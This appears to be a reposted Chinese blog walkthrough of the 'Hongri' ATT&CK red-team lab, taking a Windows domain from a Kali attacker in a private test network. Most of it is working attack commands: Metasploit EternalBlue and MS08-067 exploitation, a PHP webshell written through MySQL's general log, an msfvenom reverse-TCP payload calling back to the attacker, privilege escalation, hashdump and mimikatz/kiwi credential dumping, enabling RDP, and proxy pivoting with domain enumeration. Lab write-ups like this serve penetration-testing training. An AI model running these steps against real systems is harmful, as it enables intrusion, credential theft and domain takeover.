攻击机 kali 192.168.134.138web服务器 win7 192.168.134.142 192.168.52.143域成员 win2003 192.168.52.141域控 win2008 192.168.52.138
主机发现
先关闭win7防火墙,要不然扫描不到端口
使用masscan扫描端口(速度快)
masscan 192.168.134.142 -p 0-65535 --rate 1000
--rate 1000 每秒发送的数据包率为1000
nmap -sS -P0 -sV -O 192.168.134.142
方法一:发现开启445端口,尝试永恒之蓝漏洞利用
msfconsole启动msfsearch ms17_010查找相关模块use 0使用模块show options查看设置set RHOSTS 192.168.134.142设置受害者ipcheck检查run
方法二:
访问web发现是phpinfo()页面
目录扫描
dirsearch -u http://192.168.134.142/
发现phpadmin
尝试破解密码
破解成功,root/root
select user();发现是root
查看能否修改文件
mysqlinto写入文件:使用需看要secure_file_priv的值。value为“null”时,不允许读取任意文件value为其余路径时,表示该路径可以读写文件value为“空”时,允许读取任意文件用show global variables like '%secure%' 命令查看
show global variables like '%secure%'
为NULL不可写入文件 要想修改 Value值 只能通过配置文件 mysql.ini 修改 放弃
修改value的值:windows下修改配置文件:mysql.inilinux修改配置文件:my.cnf
蚁剑上线方法1:
用日志写入木马
1.查看日志功能是否开启show global variables like '%general%'2.未开启的话设置为 onset global general_log='ON'3.开启后将日志文件的存储位置改为可访问到的目录, 根目录即可set globalgeneral_log_file = 'C:/phpStudy/WWW/shell.php'4.执行下边一句话木马 数据库将会将查询语句保存在日志文件中SELECT ''5.写入成功后 使用蚁剑连接
show global variables like '%general%'
set global general_log='ON'
set global general_log_file = '/phpStudy/WWW/shell.php'
select ''
蚁剑上线
蚁剑上线方法二:
查看数据库,发现是yxcms
yx_admin有admin的密码
admin/168a73655bfecefdb15b14984dd2ad60
解码后:
admin/123456
949ba59abbe56e05
在公告上也有密码
修改url,修改member为admin成功找到后台登录页面
前台模板写入一句马,访问http://192.168.134.144/yxcms/protected/apps/default/view/default/shell2.php
蚁剑上线
是否存在域
判断方法1.whoami hostname对比2.ipconfig /all 看DNS3.systeminfo看是否有域一栏
网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况
1.ipconfig 看所处网段是否有多个 2.netstat -ano 查看网络连接和开放端口 3.net start 查看启动的服务 用于提权 4.tasklist 查看开启的进程 5.tasklist /SVC 复制到在线杀软识别 看存在的杀软情况 https://i.hacking8.com/tiquan
1.ping baidu 看是否可以出网等
2.net user 存在用户
使用msf生成exe并开启监听(也可以用cs生产exe):
生成exe木马msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.134.138 LPORT=1111 -f exe -o run2.exe开启监听use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset lhost 192.168.134.138set lport 1111exploit -j(后台)允许
上传exe
运行exe
获取system权限 进来后第一步肯定是提权到system: 这里直接是administrator,所有可以直接提到system,实战中还需要其他手段提权。
sessions -i(查看回话)
run/sessions 1
getsystem
getuid
getuid查看服务器权限 getsystem 提权 getuid 查看是否提权成功
获取账号密码
以下3种都可尝试1.ruan hashdump2.加载 kiwi模块load kiwi加载kiwi模块creds_all列出所有凭据3.加载mimikatz模块Windows10/2012 以下的版本可以直接抓取明文密码再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要 是system权限运行的。 ps 查看进程migrate PID load mimikatz mimikatz_command -f sekurlsa::searchPasswords
1.导入账号,密码hash值: run hashdump
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值NT-HASH hash生产方式: 1. 将明文口令转换成十六进制的格式 2. 转换成Unicode格式,即在每个字节之后添加0x00 3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串eg:用户密码为test123转换成十六进制的格式为74657374313233转换成Unicode格式为7400650073007400310032003300对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
2.mimikatz
加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限
psmigrate PIDload mimikatzmimikatz_command -f sekurlsa::searchPasswords
1.kiwi
ps查看进程 migrate PID 替换
load kiwi 加载kiwi模块 creds_all 列出所有凭据
开启3389远控端口
nmap 扫描发现是关闭的
run post/windows/manage/enable_rdp
启用Windows目标机上的远程桌面协议(RDP)
另
# 允许RDP远程连接Set-ItemProperty -Path 'HKLM:SystemCurrentControlSetControlTerminal Server'-name "fDenyTSConnections" -Value 0# 配置防火墙允许RDPEnable-NetFirewallRule -DisplayGroup "Remote Desktop"# 启用网络级别身份验证(NLA)Set-ItemProperty -Path 'HKLM:SystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -name "UserAuthentication" -Value 1
再次扫描已开启
横向移动
background将当前会话切换到后台(session -i {id}切换回来)set rhosts 192.168.134.144设置受害者ipset session 2设置会话run arp_scanner -r192.168.52.0/24扫描网段
扫描192.168.52.0/24网段
[+]IP: 192.168.52.138 MAC 00:0c:29:77:c9:03 (VMware, Inc.)[+]IP: 192.168.52.141 MAC 00:0c:29:36:a5:49 (VMware, Inc.)[+]IP: 192.168.52.143 MAC 00:0c:29:48:f1:3b (VMware, Inc.)[+]IP: 192.168.52.255 MAC 00:0c:29:48:f1:3b (VMware, Inc.)
msf socks4a proxychains 穿透内网
添加路由1. run autoroute -s 192.168.52.0/24添加路由2. run autoroute -p查看是否添加成功 3. background返回4. route print输出路由5. use auxiliary/server/socks_proxy使用 socks_proxy模块6. set srvport 1080设置端口10807. run运行
run后 可用jobs查看任务是否执行:
编辑代理配置文件 vim /etc/proxychanins4.conf
全局代理测试
进行域内信息收集
net time /domain#查看时间服务器net user /domain#查看域用户net view /domain#查看有几个域net view /domain:GOD#查看GOD域情况nslookup主机名#查看域内其他主机可能ip查不出来net group "domain computers" /domain#查看域内所有的主机名net group "domain admins"/domain#查看域管理员net group "domain controllers" /domain#查看域控
跨网段主机信息收集
auxiliary/scanner/discovery/udp_sweep#基于udp协议发现内网存活主机auxiliary/scanner/discovery/udp_probe#基于udp协议发现内网存活主机auxiliary/scanner/netbios/nbname#基于netbios协议发现内网存活主机
内网存活主机端口扫描
proxychains nmap -Pn -sT 192.168.52.141auxiliary/scanner/portscan/tcp#基于tcp进行端口扫描(默认扫描1-10000)
内网存活主机服务探测
auxiliary/scanner/ftp/ftp_version#发现内网ftp服务,基于默认21端口auxiliary/scanner/ssh/ssh_version#发现内网ssh服务,基于默认22端口auxiliary/scanner/telnet/telnet_version#发现内网telnet服务,基于默认23端口auxiliary/scanner/dns/dns_amp#发现dns服务,基于默认53端口auxiliary/scanner/http/http_version#发现内网http服务,基于默认80端口auxiliary/scanner/http/title#探测内网http服务的标题auxiliary/scanner/smb/smb_version#发现内网smb服务,基于默认的445端口auxiliary/scanner/mssql/mssql_schemadump#发现内网SQLServer服务,基于默认的1433端口auxiliary/scanner/oracle/oracle_hashdump#发现内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version#发现内网mysql服务,基于默认3306端口auxiliary/scanner/rdp/rdp_scanner#发现内网RDP服务,基于默认3389端口auxiliary/scanner/redis/redis_server#发现内网Redis服务,基于默认6379端口auxiliary/scanner/db2/db2_version#探测内网的db2服务,基于默认的50000端口auxiliary/scanner/netbios/nbname#探测内网主机的netbios名字
横向渗透
MS08_067拿下域成员服务器
MS08-067漏洞将会影响除Windows Server 2008 Core以下的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
use exploit/windows/smb/ms08_067_netapiset rhost 192.168.52.141set payload windows/meterpreter/bind_tcprun
ms17_010拿下域控
参考:https://www.freebuf.com/articles/web/248183.html
https://blog.csdn.net/qq_41821603/article/details/109948920
https://blog.csdn.net/YouthBelief/article/details/120974079u
https://www.cnblogs.com/1vxyz/p/17201316.html
原文始发于微信公众号(王之暴龙战神):01 ATT&CK红队评估(红日)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论